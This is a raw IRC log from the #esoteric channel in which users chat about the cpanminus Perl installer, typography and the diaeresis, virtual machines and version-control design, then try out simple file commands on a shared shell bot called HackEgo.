:Sgeo__!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1267605215 0 :calamari!unknown@unknown.invalid QUIT :Quit: Leaving < 1267605506 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1267605833 0 :MigoMipo!~migomipo@84-217-2-165.tn.glocalnet.net JOIN :#esoteric < 1267609324 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1267609941 0 :scarf!~scarf@unaffiliated/ais523 JOIN :#esoteric < 1267614625 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1267614872 0 :kar8nga!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267614888 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267614955 0 :scarf!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1267615468 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267616059 0 :scarf!~scarf@147.188.254.58 JOIN :#esoteric < 1267616061 0 :scarf!unknown@unknown.invalid QUIT :Changing host < 1267616061 0 :scarf!~scarf@unaffiliated/ais523 JOIN :#esoteric < 1267618552 0 :alise!~alise@95.145.65.10 JOIN :#esoteric < 1267618666 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: http://search.cpan.org/~miyagawa/App-cpanminus-0.9911/lib/App/cpanminus.pm < 1267618673 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A CPAN client that doesn't suck?! < 1267618678 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION looks
< 1267618688 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :also, I'm pretty sure a non-sucking CPAN client is theoretically possible < 1267618712 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's quiet, uses little RAM, and doesn't ask many questions apparently < 1267618720 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :[[Yeah, I think my brain has been damaged since I looked at PyPI, gemcutter, pip and rip. They're quite nice and I really wanted something as nice for CPAN which I love.]] < 1267618743 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"I tested installing MojoMojo, Task::Kensho, KiokuDB, Catalyst, Jifty and Plack using cpanminus and the installations including dependencies were mostly successful." < 1267618767 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :there is One True Test of this: seeing if it can handle installing TAEB < 1267618775 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Go for it < 1267618792 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"You should consider using cpanminus." —chromatic, big perl community guy < 1267618811 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the issue is I already have TAEB installed; I'd need to test it on a clean install to see if it worked < 1267618823 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm, let me try to run a virtualised knoppix or something like that < 1267618880 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: have /you/ read my apparently-very-whiny and completely flawed in every vway critique of files? :P < 1267618884 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*way < 1267618885 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :no, I haven't < 1267618887 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :but I'm interested < 1267618890 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://catseye.tc/ehird/files-suck.html < 1267618898 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :heh at the URL < 1267618909 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :gah, that's narrow < 1267618919 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :10 words per line. it's actually best < 1267618920 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so thar < 1267618932 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(backed up by studies and shizz :|) < 1267618935 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION loads in w3m
< 1267618940 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hey < 1267618945 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I worked hard on making sure it had a vertical rhythm! < 1267618946 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267618948 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :so your obnoxious styling doesn't affect my reading < 1267618995 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :“Anything from 45 to 75 characters is widely regarded as a satisfactory length of line for a single-column page set in a serifed text face in a text size. The 66-character line (counting both letters and spaces) is widely regarded as ideal. For multiple column work, a better average is 40 to 50 characters.” < 1267619008 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hmm, apparently 66 chars is more like 33em < 1267619021 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :66ex? < 1267619045 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :an ex is not a character :P < 1267619051 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anyway 66 chars ~= 10 words iirc < 1267619056 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: that's presumably a guide for printed text, that doesn't take into account vertical scrolling < 1267619066 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: oh i forgot you have no mousewheel < 1267619069 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lol sucks to be you < 1267619071 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Oh darn, ex was height not width < 1267619079 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: I have three mousewheels < 1267619084 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: but none of them work, presumably < 1267619093 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :actually, they're one of the few things that do < 1267619104 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :but no, the pain is having to interact with the computer at all while I'm reading < 1267619113 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also, you'll miss out on all my wonderful whiny-italics if you use w3m < 1267619118 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :at least just turn styles off in a graphical browser! :-P < 1267619120 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :no I won't, it underlines instead < 1267619130 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that is not the same :( :p < 1267619170 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm quite disappointed that nobody's spotted my diæresis < 1267619187 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :reëncode < 1267619190 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oops, right next to it I have a ' in place of a ’ < 1267619203 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :too busy thinking how cool I am for having a diæresis i guess :) < 1267619237 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: your comments about representation reminded me of something I'm doing in RL < 1267619238 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I'm so used to them that I didn't really realize it was special < 1267619253 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I was explaining to a non-programmer the difference between communication formats and formats you actually operate on < 1267619258 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: What? Nobody uses the diæresis! < 1267619264 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :PNG is a good format for transmitting an image file to someone else, but it's a bad format for storage in memor < 1267619266 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :*memory < 1267619272 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise: I use them whenever I remember to < 1267619281 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and presumably, the argument to make is that in-memory formats are better for storing on a disk than communication formats < 1267619295 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And whenever it's not a bad idea < 1267619297 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :(On the other hand, compressed formats take up less disk space...) < 1267619304 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Where is it a bad idea? < 1267619314 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: It, of course, depends on the use case. < 1267619318 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1267619333 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :certainly, uncompressed XML is a bad format to store files in < 1267619343 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it may be an ideal format for communicating them, but not for storage < 1267619351 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://codu.org/rxml.php < 1267619356 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise: With English teachers who don't like that kind of trickery, or people who aren't good enough at English to be anything other than confused by it < 1267619361 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I DISAGREE STRONGLY ^_^ < 1267619373 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Trickery? Bah! Beats the unsightly -. < 1267619382 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: I suspect Gregor was joking in that page < 1267619386 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And "reencode" just looks really awkward, like "noone". < 1267619393 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :noöne < 1267619401 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :nobody ;-P < 1267619407 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, yeah. < 1267619416 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :gah, swapping mouse buttons is really inconsistent < 1267619422 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :for instance, it swaps on mice but not on the touchpad < 1267619430 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hmm... what if you have a ü or similar non-English letter, and it should have a diaresis? < 1267619433 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :also, the buttons don't seem to be swapped inside (k)qemu < 1267619434 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :or even é < 1267619441 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*diæresis < 1267619453 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Then you don't diaeresize it < 1267619458 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :just use ü̈ < 1267619459 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :üü :-) < 1267619462 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :é¨é < 1267619468 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the latter needs to be a combining char :/ < 1267619479 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :é̈ < 1267619480 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :http://www.youtube.com/watch?v=S2XwN_oQ_Yo OBABO talks to SPACE < 1267619484 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: beautiful < 1267619500 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :>_̈< < 1267619519 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: it renders rather badly in this client < 1267619521 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Obama loves the word guys < 1267619523 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: ditto :-D < 1267619543 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Thought it was just a normal ë at a glance < 1267619599 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :what's the package manager on knoppix? < 1267619606 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I threw up a VM, in order to test CPANMINUS < 1267619608 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it has none < 1267619612 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's based on debian < 1267619613 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :maybe it has apt-get < 1267619617 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but it probably won't work < 1267619620 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :knoppix "includes everything" < 1267619634 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and happened to use the ICFP2008 iso, as I had it handy < 1267619635 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it is the lamest of linux distros :P < 1267619667 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it has apt-get, yes < 1267619672 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :18:08:43 * Sgeo__ is considering running back to his beloved Python < 1267619672 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Python's shit too :) < 1267619683 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and sudo works without a password, which is handy due to me having no idea what the password should be otherwise < 1267619724 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :however, it was trying to use debian.uchicago.edu as a repo, and failed < 1267619737 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :just use an ubuntu livecd or sth :P < 1267619746 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :ah, isn't online < 1267619811 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :19:36:02 Strawberry shortcake is DEFINITELY a kind of pizza by your definition. < 1267619811 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i lol'd irl. qrx dns < 1267619827 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(19:36:53 I'm getting the idea that my cuisine is strictly inferior to yours.) < 1267619881 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :19:43:27 wait, you are actually in norway? < 1267619882 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan is just desperate for a friend < 1267620033 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm, kqemu is rather slow on a netbook < 1267620048 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :either that, or knoppix is, but I'm guessing it's the emulation that's causing the issues < 1267620057 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no virtualisation < 1267620062 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so it's emulating < 1267620067 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :kqemu virtualises to some extent < 1267620072 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes, but your CPU can't < 1267620074 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :almost certainly < 1267620075 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267620079 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what cpu is it? < 1267620087 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :one of those ultra-low-power ones < 1267620094 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that ULV stuff? < 1267620103 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :which is handy, because I've been running this on the battery for around 3 hours already < 1267620115 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Intel® Virtualization Technology (VT-x) Yes < 1267620115 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :for core 2 solo ULV SU3500 < 1267620129 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :either you have a different cpu or it's actually just really slow < 1267620136 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also, wow 3 hours :P < 1267620164 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :mine's a U2700 < 1267620174 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you get core 2 duos on a 17" 1920x1200 screen and ~7 hours of battery life if you're not stressing it on the macbook pros... they /did/ patent the battery technology though :P < 1267620180 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :damn patents! < 1267620224 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: huh it's a pentium (apparently) < 1267620229 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no relation to the pentium line tho < 1267620234 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Intel® Virtualization Technology (VT-x) No < 1267620235 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: it has the pentium trademark on it < 1267620236 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No virtualisation. < 1267620246 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :"intel Pentium inside " < 1267620246 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :LOL SUX 2 B U < 1267620273 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :not really, it's fast enough for most things, even large compiles of C++ programs < 1267620279 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :even if I have to do something else while it's compiling < 1267620325 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I freak out every time a computer slows down, so I couldn't really work with a low-spec machine < 1267620336 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's like I go into "BE CAREFUL IT MIGHT FREEZE" mode. < 1267620345 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :oh, I only freak out when it starts swapping < 1267620351 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Anyway anything can compile C++, more or less < 1267620354 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Nowadays at least < 1267620361 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I bet even an Atom could, albeit slowly < 1267620363 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :my standard response to that nowadays is to kill X, but I haven't had to do that for months < 1267620375 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :(when I do, it's normally because I wrote a program which has a memory leak in a tight loop) < 1267620380 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i've had even ctrl+alt+fN freeze before :( < 1267620388 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :same, killing X is more reliable < 1267620393 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :how? < 1267620402 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :if ctrl+alt+fN don't work ctrl+alt+backspace doesn't either < 1267620406 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :because, it's at the stage where it's only processing one keystroke every half-hour < 1267620409 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :both work, eventually < 1267620411 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :reisub probably would but i never bothered trying < 1267620415 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :easier to just punch reboot :p < 1267620416 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :so you want to use the one that kills the program you're running < 1267620429 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: well I don't want to wait half an hour < 1267620430 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :(hmm, what about the SAK, i.e. alt-sysrq-k?) < 1267620461 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also it shouldn't matter if it crashes because i can just reboot and all my work will have been persisted ages before :D < 1267620471 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :IT WILL NOT DIE < 1267620501 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :anyway, I've decided to have really ambitious requirements for my version control system < 1267620516 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it should be able to have exact equivalents (not just approximates) for everything in git, hg, and darcs < 1267620528 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :also, it should only have 5 commands (you can have more as abbreviations, but everything can be done in terms of those) < 1267620554 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yet, I think it's possible < 1267620562 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well, we're ignoring remote push/pull presumably as they're irrelevant to the actual vcs < 1267620566 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :as a bonus, the design I'm currently thinking about can do what rsync does as well < 1267620569 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so you need < 1267620577 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: I'm assuming that they can be implemented the same way as local push/pull < 1267620578 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :some sort of thing to record changes, some sort of thing to merge two repositories < 1267620583 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so I say 4 commands < 1267620594 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :two _essential_ ones, and then two ones to keep things running < 1267620598 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: reverts? < 1267620608 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :merge with a previous version of the repository, duh < 1267620619 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :merge won't do, there < 1267620624 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also, there should be no "options" significantly changing how a command works; if you want to commit some files but not add another one, you list every file but one in the commit < 1267620628 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(obviously you can have sugar on top) < 1267620636 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: merge and always use the previous version < 1267620652 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then commit all files but the ones that were deleted in the previous version < 1267620654 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :voila < 1267620676 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :anyway, I'll talk more later, but I have to change connection < 1267620678 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :bye everyone < 1267620684 0 :scarf!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267620684 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :bye < 1267623275 0 :asiekierka!asiekierka@078088180066.elblag.vectranet.pl JOIN :#esoteric < 1267623278 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1267623279 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1267623286 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.25461 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1 < 1267623306 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1267623307 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.25504 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1 < 1267623326 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`echo assquerka > hello.txt < 1267623328 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :assquerka > hello.txt < 1267623334 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :-_- < 1267623356 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :You probably want to `run that; wasn't that the way to get full shell parsing there? < 1267623367 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`sh "echo assquerka > hello.txt" < 1267623369 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267623372 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`cat hello.txtx < 1267623374 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267623374 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`cat hello.txt < 1267623376 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267623441 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That should presumably be something like sh -c there, if you want to do it like that. < 1267623471 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Aw, help.txt is not exactly helpful. < 1267623486 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :wowowowo < 1267623497 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`$ENV < 1267623498 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267623501 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`echo $ENV < 1267623502 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :$ENV < 1267623513 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run echo $ENV < 1267623514 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267623525 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1267623527 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.25915 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1 < 1267623531 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run sh "echo assquerka > hello.txt" < 1267623533 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267623535 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1267623536 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.26000 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1 < 1267623539 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric ::(( < 1267623557 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Again, sh wants a -c if you want it to take a command as an argument. < 1267623566 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run sh -c "echo assquerka > hello.txt" < 1267623568 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267623570 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1267623571 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ hello.txt \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.26151 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1 < 1267623577 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run cat hello.txt < 1267623579 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :assquerka < 1267623581 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267623585 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"Yay." < 1267623600 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run sh -c "echo Yay. > fizzie" < 1267623601 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267623602 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1267623613 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ hello.txt \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.26297 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1 < 1267623730 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Hah, someone seriously wrote that cube2 in there with repeated `run echo "[base64 stuff here]" >> nonsense. That's... silly. < 1267623731 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`touch me < 1267623733 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267623733 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1267623735 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ fizzie \ hello.txt \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.26419 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1 < 1267623780 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`cat cube2.base64 < 1267623781 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :/9j/4AAQSkZJRgABAQEASABIAAD/4QAWRXhpZgAASUkqAAgAAAAAAAAAAAD/2wBDAAgGBgcGBQgH \ BwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/ \ 2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy \ MjIyMjIyMjIyMjL/wAARCAF3AfQDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQF < 1267623790 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :(it cuts output) < 1267623806 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The web-browser view is a lot easier for file-browsing. < 1267623817 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :`rm fizzie < 1267623819 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267623825 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :In any case, I don't want to be highlighted on every `ls. < 1267623915 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Probably should've reverted instead, but I can't quite remember the revision-specifying syntax for that. < 1267623958 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1267623959 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ hello.txt \ help.txt \ huh \ me \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.26564 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ 